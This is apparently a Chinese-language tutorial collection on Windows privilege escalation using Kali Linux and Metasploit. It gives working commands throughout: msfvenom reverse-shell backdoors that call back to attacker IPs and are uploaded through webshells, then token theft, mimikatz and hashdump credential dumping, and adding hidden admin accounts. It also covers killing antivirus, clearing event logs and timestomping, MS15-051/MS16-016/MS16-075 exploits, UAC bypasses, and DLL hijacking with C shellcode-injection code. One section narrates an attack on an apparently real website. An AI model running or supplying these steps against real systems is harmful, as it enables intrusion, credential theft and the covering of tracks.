官方下載kalilinux
https://www.kali.org/
第一次使用kali-linux,要更換更新源,才能更新系統,方法如下:
cd /etc/apt/
vim sources.list
修改成如下內容
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
#deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清華大學
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#東軟大學
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#官方源
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
#重慶大學
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
執行命令:apt-get update;
apt install metasploit-framework
啟動metasploit
msfconsole
0x01 Meterpreter自動提權
1.生成后門程序
我們在kali的命令行下直接執行以下命令獲得一個針對windows的反彈型木馬:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf (生成linux后門)
這里我們為生成的木馬指定了payload為:
windows/meterpreter/reverse_tcp,反彈到的監聽端地址為172.16.11.2,監聽端口為4444,文件輸出格式為exe并保存到路徑/tmp/hack.exe
2.執行監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.11.2
show options
輸入exploit命令開啟我們配置的模塊進行監聽:
3.上傳并執行木馬
通過腳本木馬上傳并運行,此處假設我們通過一系列的滲透測試得到了目標機器的webshell。我們通過腳本木馬的文件管理功能把我們上述生成的木馬hack.exe上傳成功,并且我們得知,該程序的絕對路徑為:
c:\www\hack.exe
接著,我們嘗試通過腳本木馬的命令執行功能運行我們上述上傳的的木馬,
c://www//hack.exe/為避免字符轉義,路徑這里我們使用的是//
那么在執行之后,我們看到大型腳本木馬顯示為請稍后的狀態,我們切換到之前監聽的Metasploit命令行窗口,可以看到,目標機正在回連,且Meterpreter會話創建成功:
4. Meterpreter基礎提權
Meterpreter是 Metasploit 框架中的一個殺手锏,通常作為漏洞溢出后的攻擊在和使用, 攻擊在和在出發漏洞后能夠返回給我們一個控制通道.
接下來我們使用Meterpreter會話進行自動化提權操作,直接執行以下命令,MSF會自動選擇合適的方式來提升當前權限:
getsystem
如上返回則說明Meterpreter會話自動提權成功。
這個時候,如果我們此目標機屬于某個域環境內,并且有域管理員運行的進程,我們就可以從一個指定的進程PID中竊取一個域管理員組令牌,做一些有意思的事(如:添加一個域賬戶,并把域賬戶添加到域管理員組中)。
在Meterpreter會話執行ps命令查看目標機當前進程:
假設此處看到了一個進程,運行賬戶是域管理員,我們可以再第一欄找到對應的進程PID,(實際我們這里找個任意的SYSTEM賬戶運行的進程),PID為2584:
然后我們可以執行以下語句竊取該用戶進程的令牌:
steal_token 2584
這種方式一般被用于盜取域管理員的token,然后我們執行
getuid看一下會發現當前已經冒稱SYSTEM用戶成功:
既然已經是SYSTEM權限,接著我們嘗試執行以下命令從SAM數據庫中導出密碼的哈希值:
`注意`:在windows 2008 中,如果getsystem命令和hashdump命令拋出異常情況時,你需要遷移到一個以SYSTEM系統權限運行的進程中,我們后續介紹。
執行以下shell命令在一個Meterpreter會話界面中使用cmd shell:
此cmdshell當然是繼承的Meterpreter會話的system權限,我們嘗試在目標機器執行以下cmd命令添加一個賬戶test:
net user test v5est0r /add
net localgroup administrators test /add
隨后我們利用Meterpreter會話打開目標機器遠程桌面服務的3398端口(此模塊根據實踐測試僅支持windows 2003的主機):
run getgui -e
最后我們新建一個終端窗口,執行以下命令調用rdesktop連接目標機器的遠程桌面:
rdesktop -u test -p v5est0r 172.16.12.2
-u:制定用戶名 -p:指定密碼
0x02 溢出漏洞模塊提權
一般來說webshell對應的web服務的權限是很低的,一般都是user權限的,但也遇到過某些服務器執行后就直接是system最高權限。像這種情況一般直接加用戶。如果權限較低,我們要把它提升到system權 - Windows最高權限,黑客一般通過提權的EXP程序進行提權,我們會在后續的實驗里介紹。
當然,在MSF下調用溢出漏洞模塊提權也是個好辦法。
緩沖區溢出:
緩沖區是用戶為程序運行時在計算機中申請的一段連續的內存,它保存了給定類型的數據。緩沖區溢出指的是一種常見且危害很大的系統攻擊手段,通過向程序的緩沖區寫入超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其他的指令,以達到攻擊的目的。更為嚴重的是,緩沖區溢出攻擊占了遠程網絡攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一臺主機的部分或全部的控制權!由于這類攻擊使任何人都有可能取得主機的控制權,所以它代表了一類極其嚴重的安全威脅。
1. 調用漏洞模塊
首先,請參照上述Meterpreter自動提權部分的實驗內容獲得目標機器的一個可用的Meterpreter會話,接著我們在Meterpreter會話輸入以下命令:
background //把你當前的Meterpreter會話轉為后臺執行。
接著我們在MSF命令行執行以下命令搜索微軟2015年的可用漏洞模塊:
search ms15 // 搜索關鍵字相關的漏洞
如下圖,我們查到了許多漏洞模塊:
我選擇了MS15_051這個漏洞進行提權,執行以下命令:
use exploit/windows/local/ms15_051_client_copy_image
然后我們需要為此活動模塊指定為哪個session進行提權操作,我們執行以下命令指定服務session為1:
set SESSION 1 // 設置會剛才我們后門連接的ID號 1,我們這里只有一個會話,直接連接1
2. 執行溢出
接著我們直接執行以下命令調用漏洞模塊進行提權操作:
exploit
根據返回信息我們可以看見沒有創建新的session,并提醒當前已經被提升到了system權限。如果當前不是system權限,將會被提升到system的一個進程,并提供出進程pid.一般來說,即使提權成功,我們執行以下命令返回連接會話,但你getuid看下還是看見的還是原來的權限。
sessions -i 1
執行ps一下查看進程
根據剛才的提示找到上述提供的PID的進程,我們這里就隨意找了一個SYSTEM權限進行的進程,PID為3240
然后我們要用到migrate命令,將當前會話進程遷移到一個指定的進程ID
migrate 3240
如上圖可見,進程遷移成功。
然后我們再執行getuid看下可以看見當前為system權限了。
0x03 后續提權操作
1. 基本信息搜集
檢測目標機是否為虛擬機。在Meterpreter會話執行以下命令即可:
run post/windows/gather/checkvm #是否虛擬機,此處判斷并不準確,模塊代碼仍需完善
通過meterpreter的killav腳本來殺死目標主機運行的殺毒軟件,在Meterpreter會話執行以下命令即可:
run killav
看來此模塊仍需完善,此處殺掉的進程是cmd。不過有時候還是有用的。
獲取安裝軟件信息,在Meterpreter會話執行以下命令即可:
run post/windows/gather/enum_applications #獲取安裝軟件信息
獲取目標機器最近的文件操作,在Meterpreter會話執行以下命令即可:
run post/windows/gather/dumplinks #獲取最近的文件操作
2. hash與明文密碼讀取
獲取目標機系統用戶Hash,,在Meterpreter會話執行以下命令即可:
run post/windows/gather/smart_hashdump
Running module against TESTING Hashes will be saved to the database if one is connected. Hashes will be saved in loot in JtR password file format to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt Dumping password hashes... Running as SYSTEM extracting hashes from registry Obtaining the boot key... Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... Obtaining the user list and keys... Decrypting user keys... Dumping password hints...
[+] Croxy:"Whoareyou" Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+] test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
如上我們獲得了本地賬戶的hask,獲取明文密碼,我們需要先載入mimikatz模塊,在Meterpreter會話執行以下命令即可:
load mimikatz
然后需要確保當前進程為系統權限,直接執行以下命令:
msv
如上圖,返回了以下信息:
[+] Running as SYSTEM Retrieving msv credentials
上述返回信息表明當前進程是`SYSTEM`權限.
然后執行以下命令即可導出系統用戶明文密碼:
kerberos
如下圖,成功導出了明文密碼,test用戶密文為v5est0r:
執行以下命令通過mimikatz命令行方式導出系統用戶hash:
meterpreter > mimikatz_command -f samdump::hashes
執行以下命令通過`mimikatz`命令行方式導出系統用戶的明文密碼:
mimikatz_command -f sekurlsa::searchPasswords
3. 清理痕跡
直接執行以下命令:
clearev
可以看到如下返回:
meterpreter > clearev
可以看到該模塊正在從應用、系統、安全模塊三個方面清理歷史記錄痕跡。
其實MSF還提供了timestomp功能模塊還修改文件時間,但實戰測試中意義并不大,我們在這里只做科普:
meterpreter >timestomp c:\\www -c "09/09/1980 12:12:34" 修改文件創建時間
meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34" 修改文件修改時間
meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 講文件RHDSetup.log屬性復制到jzking121
實際測試使用偶爾有報錯,可以登入服務器手工改文件時間。
0x04 AlwaysInstallElevated提權
1.生成MSI安裝文件
假設我們拿到Meterpreter會話后并沒能通過一些常規方式取得SYSTEM權限,AlwaysInstallElevated提權可能會為我們帶來一點希望。
AlwaysInstallElevated是微軟允許非授權用戶以SYSTEM權限運行安裝文件(MSI)的一種設置。然而,給予用于這種權利會存在一定的安全隱患,因為如果這樣做下面兩個注冊表的值會被置為"1":
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
想查詢這兩個鍵值最簡單的方法就是使用CMD命令,我們先在Meterpreter會話下執行shell切換`cmdshell:
在cmdshell下分別執行以下命令可以查詢上述的注冊表鍵值:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
我們這里的查詢是報錯的。
注意:如果這條命令出錯類似于:The system was unable to find the specified registry key or value或者:錯誤: 系統找不到指定的注冊表項或值。
這可能是組策略里AlwaysInstallElevated沒有被定義,因此不存在相關聯的注冊表項。
現在我們假設AlwaysInstallElevated已經啟用了,我們可以利用msfvenom工具來生成一個在目標機器上增加管理員用戶的MSI安裝文件:
msfvenom -p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi
//此處指定了添加的用戶,用戶名為msi,密碼為:P@ssword123!
如上圖返回,MSI文件已經成功生成到了/tmp/add.msi
2.執行MSI文件提權
接著我們把該安裝文件上傳到目標機的c:\\add.msi:
執行以下命令即可:
upload /tmp/add.msi c:\\add.msi
當我們在目標機器上成功上傳了新生成的MSI文件后,我們可以使用Windows命令行Msiexec工具進行安裝(需要先執行shell命令切換`cmdshell):
shell
msiexec /quiet /qn /i c:\add.msi
msiexec相關參數解釋如下:
/quiet:安裝過程中禁止向用戶發送消息
/qn:不使用GUI
/i:安裝程序
執行后,我們可以在目標機器上檢測我們新創建的管理員用戶,cmdshell下執行以下命令查看管理組用戶列表:
net localgroup administrators
如上,我們很幸運的發現,msi用戶名存在于管理組列表
注意:使用msvenom創建MSI文件時使用了always_install_elevated模塊,那么在安裝過程中會失敗。這是因為操作系統會阻止未注冊的安裝。
接著執行以下命令登錄目標機器的遠程桌面服務:
rdesktop -u msi -p P@ssword123! 172.16.12.2
如果目標機沒有開啟遠程桌面服務,可以再cmdshell下執行以下命令以開啟:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
0x05 利用MS16-016進行meterprter提權
在WEB滲透中當我們拿到webshell了,我們可以試試用MSF(metasploit)來進行提權,在MSF里meterpreter很強大的!我們先用msfvenom生成一個EXE的木馬后門。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe
到MSF根據剛才配置的木馬后門進行監聽...
再把木馬上傳到服務器(受害者)的機器里,必須上傳到可讀可寫的目錄下哦,
比如這里我吧abc.exe上傳到了C:\users\leak\desktop\目錄下,abc.exe就是我剛才生成的后門。
然后執行我們的后門,可以看見MSF彈回了一個session 1(會話連接)。
說明我們后門程序成功執行起來了,當然你也可以在webshell執行的,
但必須的有一點執行的權限哦。
getuid //可以看見我們的權限很低的,一般都是user權限的,
但也遇到過某些服務器執行后就直接是system最高權限。像這種我們就直接加用戶啦。這里我們是user權限,我們要把它提升到system權限。Windows最高權限。
接著我們輸入命令:
background //把你當前的metasploit shell轉為后臺執行。
search ms16 // 搜索關鍵字相關的漏洞
use exploit/windows/local/ms16_016_webdav // 選擇MS16-016漏洞在進行提權
show options //查看漏洞里邊要設置的參數,可以看見只有一個SESSION參數要設置
set SESSION 1 // 設置會剛才我們后門連接的ID號 1
exploit //執行提權...
可以看見成功的吧漏洞利用到了PID為692的進程中,雖然提權成功了,但getuid下還是看見的是user權限
ps一下查看進程
根據剛才的提示找到PID 692的進程,可以看見確實是system權限,所以我們還要用到migrate 命令遷移到一個指定的進程ID
migrate 692 //在getuid下可以看見為system權限提權成功了
既然有了system權限 那我們在添加賬號hack,添加為管理員組
用Nmap掃下并沒有開啟遠程登陸3389
run getgui -e //開啟目標主機3389 貌似這條MSF命令只對2003的系統有效執行幾次都沒成功 ,所以就用cmd命令開了3389端口
0x06 利用uac進行mterprter提權
1.背景
UAC(User Account Control,用戶帳戶控制)是微軟為提高系統安全而在Windows Vista中引入的新技術,它要求用戶在執行可能會影響計算機運行的操作或執行更改影響其他用戶的設置的操作之前,提供權限或管理員?密碼。也就是說一旦用戶允許啟動的應用程序通過UAC驗證,那么這個程序也就有了管理員權限。如果我們通過某種方式劫持了通過用戶UAC驗證的程序,那么相應的我們的程序也就實現了提權的過程。
2.提權過程概述
首先我們找到目標程序,查找其動態加載的dll文件然后將其替換掉,插入我們包含shellcode的dll文件,這樣用戶在安裝此文件的時候就會調用我們的dll文件,并執行我們的shellcode代碼。同時為了防止程序崩掉導致我們的代碼退出,采用注入的方式保證shellcode的穩定執行。在此過程中,如果目標程序請求UAC權限,對于用戶來說這是一個正常的安裝文件,一旦通過UAC驗證,相應我們的shellcode也完成了提權過程。替換安裝包dll文件這種行為太過于敏感,其實最后實現的方式是找到目標程序需要加載的,并且當前目錄又不存在的需要聯網下載的dll文件,我們只需要在該目錄下放一個同名dll文件即可。
3.實驗環境
1.Kali Debian7:
Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連接。最好安裝一個Mingw-w64用于編譯c代碼。
2.windows7 x64:
主要的目標測試環境
3.Procmon.exe
Procmon是微軟出的一款強大的Windows監視工具,不但可以監視進程/線程,還可以監控到文件系統,注冊表的變化等
4.install_flashplayer15x32_mssd_aaa_aih:
這里我們以flashplayer安裝文件作為目標文件,版本為15x32_mssd_aaa_aih,可自行下載,或者從最后的打包附件中找到
4.詳細提權過程
(1)查找可劫持的dll文件
首先我們在win7系統下先打開procmon監控軟件,清除一下日志信息,然后運行我們的目標文件install_flashplayer15x32_mssd_aaa_aih,運行過后會彈出UAC選項,需要用戶確認授權。
這里我們點“是”,然后安裝包開始安裝并自刪除,并從服務器下載所需的文件,這時候就可以關掉了,因為我們只需要看該軟件包都加載了哪些dll文件。
看下Procmon.exe記錄所有行為
信息量太大,我們需要過濾出有用的信息。
首先是只看我們目標進程的信息,添加過濾規則:Process Name is install_flashplayer15x32_mssd_aaa_aih,然后是過濾掉加載系統的dll文件,只看安裝包當前目錄下加載的dll文件,我這里安裝包存放在dllhijack文件夾下,添加過濾規則:
Path contains dllhijack
并且該加載dll不存在,需要聯網從服務器下載,最后再添加一個過濾規則:
Result is NAME NOT FOUND
三個過濾規則如下所示:
經過三個規則過濾后,留下的信息就很明顯了,如下圖所示:
上邊所列的dll文件都是會嘗試加載,并且找不到,會聯網進行下載的dll文件,因此,我們的目標就是劫持這些dll文件,也不需要替換,直接將我們的dll文件放在安裝包同目錄即可,這也是為什么選擇這個安裝程序測試的原因。如果選擇其他安裝包測試的,最好也是選擇這種聯網安裝類型的,所有文件都從服務器拉取,如果安裝程序沒有對這些從服務器拉取的文件進行效驗,就能夠被劫持。
(2)編寫exploit
找到劫持了dll文件后,我們進入Debian系統用msf生成shellcode,這里我們選擇反彈tcp的shellcode,需要知道服務器ip地址和監聽端口,這里也選擇Debian系統作為服務器,ifconfig查看下ip,設置監聽端口為9000,最后執行如下命令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c
為了防止程序掛掉或者退出導致shellcode也跟著退出,采用注入的方式,將shellcode注入rundll32.exe進程,然后連接遠程端口。服務器監聽該端口,一旦有請求就建立會話連接,注入關鍵代碼:
if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
最后將程序編譯,這里編譯直接在Debian系統下用Mingw-w64編譯,命令入下:
root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared
root@idhyt:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
將編譯好的template.dll拷貝到win7系統中備用。
debian系統設置服務器并監聽9000端口,所有命令如下:
將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監控到的可劫持dll文件中選擇一個,這里我選擇dhcpcsv6.dll。將我們的dll文件改名為dhcpcsvc6.dll,其他dll文件可自行嘗試。之后重新運行安裝包,彈出UAC選項后點“是”。之后我們在debian系統的服務端會看到我們已經監聽到了這個端口,看下會話信息:
查看下當前uid,然后執行getsystem命令權限:
0x07 利用MS16-075提權
1.滲透環境
對某站進行一次滲透測試.拿到shell之后呢,權限蠻小的.但是可以執行一些命令.systeminfo瞅了瞅補丁列表,丟到exp查詢看了下,發現可以利用爛土豆提權成功,別的都利用失敗了。這里就記錄下爛土豆的用法.
靶機:windows server 2008 IIS7.5 外網kali
利用工具:caidao+msf+rottenpotato.exe(MS16-075)
提權輔助查詢:傳送門
菜刀來看下權限:
2.生成木馬,建立meterpreter會話
并不是system權限,這里我們要利用到msf,先生成一個木馬,來獲取sessions
生成了一個test.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=120.*.*.* LPORT=12344 -f exe > ./test.exe
這時候要用到菜刀或者大馬:
菜刀>>上傳>>執行>>test.exe
可能這時候有人會問我.都可以執行exe,直接上遠控馬不就行了么.我試過上遠控馬是不能上線的.(沒測試低權限遠控馬),執行之后msf返回了一個seeions
3.竊取令牌,模仿令牌
(1)MS16-075(爛土豆):
https://github.com/foxglovesec/RottenPotato
用法:
use incognito
//這個模塊是用來竊取令牌,模仿令牌的.令牌相當于cookie.
windows中有兩種令牌,一中是Delegation Token,是交互式登錄(比如登錄進去系統或者通過遠程桌面連接到系統)創建的.另一種是Impersonmate Token(模仿令牌),它是為非交互式會話創建的
(2)列出當前令牌:
list_tokens -u
把rottenpotato.exe利用菜刀傳上來.(比較懶重名名為rp.exe)
執行exp:
execute -cH -f ./rp.exe
0x08 RottenPotato(爛土豆)+Metasploit提權
1.當前環境
靶機:Windows Server 2012 R2
64位虛擬機,運行IIS8.0,IP地址 192.168.1.16 ,aspx的Webshell,權限是"nt authority\network service",web目錄可寫可執行,無殺軟。
攻擊機:win7.
工具:metasploit,rottenpotato.exe(爛土豆),菜刀
2.靶機執行bind.exe,建立meterpreter會話
怎么建立meterpreter就不詳細說了,這里我是msfvenom生成bind_tcp,菜刀執行之。
即使顯示fail了,可是你netstat 看一下的話,還是已經監聽了4444端口,這就表示成功了:
使用multi handler:
msf>use exploit/multi/handler
設置payload:
msf>set payload windows/x64/meterpreter/bind_tcp
設置目標主機:
set rhost 192.168.1.16
然后run運行獲得meterpreter會話:
3.使用RottenPotato 竊取system 令牌并模仿
1.先getuid看看自己的當前id,可以看到只是network服務
2.然后加載竊取令牌模塊:
use incognito //這個模塊是用來竊取令牌、模仿令牌的。令牌就相當于Cookie。Windows中有兩種令牌,一種是Delegation Token,是為交互式登錄(比如登錄進系統或者通過遠程桌面連接到系統)創建的。另一種是Impersonmate Token(模仿令牌),它是為非交互式會話創建的。
3.列出當前令牌:
list_tokens -u //可以看到當前有一個“代表令牌”,是自己的NT AUTHORITY\NETWORK SERVICE,沒有模仿令牌。
4.菜刀上傳rottenpotato(這里我為了少打兩個字把它重命名為rp.exe):
5.進入自己放EXP的目錄,
執行EXP:execute -cH -f ./rp.exe
6.再list_tokens看一下, 可以看到當前是有了一個SYSTEM權限的 模仿令牌
7.執行偷取竊取令牌命令:
impersonate_token "NT AUTHORITY\\SYSTEM"
注意這里反斜線是兩個。第一次執行提示沒找到這個用戶令牌。這個原因我估計是令牌失效了,就跟Cookie失效一樣。所以再執行一次EXP,然后按↑鍵重復impersonate_token幾次命令。可以看到第二次是成功模仿了用戶"NT AUTHORITY\\SYSTEM"。
8.getuid看下自己的當前用戶ID,可以看到是SYSTEM 。使用shell命令獲得一個交互式cmd shell,whoami看看呢,也是成功了。
4.EXP原理淺析
RottenPotato(爛土豆)提權的原理可以簡述如下:
1.欺騙 “NT AUTHORITY\SYSTEM”賬戶通過NTLM認證到我們控制的TCP終端。
2.對這個認證過程使用中間人攻擊(NTLM重放),為“NT AUTHORITY\SYSTEM”賬戶本地協商一個安全令牌。這個過程是通過一系列的Windows API調用實現的。
3.模仿這個令牌。只有具有“模仿安全令牌權限”的賬戶才能去模仿別人的令牌。一般大多數的服務型賬戶(IIS、MSSQL等)有這個權限,大多數用戶級的賬戶沒有這個權限。
所以,一般從web拿到的webshell都是IIS服務器權限,是具有這個模仿權限的。測試過程中,我發現使用已經建好的賬戶(就是上面說的用戶級賬戶)去反彈meterpreter然后再去執行EXP的時候會失敗,但使用菜刀(IIS服務器權限)反彈meterpreter就會成功。
爛土豆比熱土豆的優點是:
1.100%可靠
2.(當時)全版本通殺。
3.立即生效,不用像hot potato那樣有時候需要等Windows更新才能使用。
總之,我對這個的理解是通過中間人攻擊,將COM(NT\\SYSTEM權限)在第二部挑戰應答過程中認證的區塊改成自己的區塊獲取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。
0x09 metasploit下Windows的多種提權方法
1.環境要求
攻擊機:kali linux
目標機:Win 7
在已經獲取到一個meterpreter shell后,假如session為1,且權限不是系統權限的前提下,使用以下列出的幾種提權方法:
2.繞過UAC進行提權
本方法主要有以下3個模塊。
上面這些模塊的詳細信息在metasploit里已有介紹,這里不再多說,主要說一下使用方法。以exploit/windows/local/bypassuac模塊為例
該模塊在windows 32位和64位下都有效。
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
本模塊執行成功后將會返回一個新的meterpreter shell,如下
模塊執行成功后,執行getuid發現還是普通權限,不要失望,繼續執行getsystem,再次查看權限,成功繞過UAC,且已經是系統權限了。
其他兩個模塊用法和上面一樣,原理有所不同,執行成功后都會返回一個新的meterpreter shell,且都需要執行getsystem獲取系統權限。如下圖:
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
3.提高程序運行級別(runas)
這種方法可以利用exploit/windows/local/ask模塊,但是該模塊實際上只是以高權限重啟一個返回式shellcode,并沒有繞過UAC,會觸發系統UAC,受害機器有提示,提示用戶是否要運行,如果用戶選擇“yes”,就可以程序返回一個高權限meterpreter shell(需要執行getsystem)。如下:
在受害機器上會彈出UAC,提示用戶是否運行。如下:
4.利用windows提權漏洞進行提權
可以利用metasploit下已有的提權漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058為例。
msf > exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit
用windows提權漏洞提權時,會直接返回高權限meterpreter shell,不需要再執行getsystem命令。
需要說明的是:在實際測試時,如果出現目標機器確實有漏洞,但是提權沒有成功時,請確認你的TARGET和PAYLOAD是否設置正確,64位的系統最好用64位的PAYLOAD。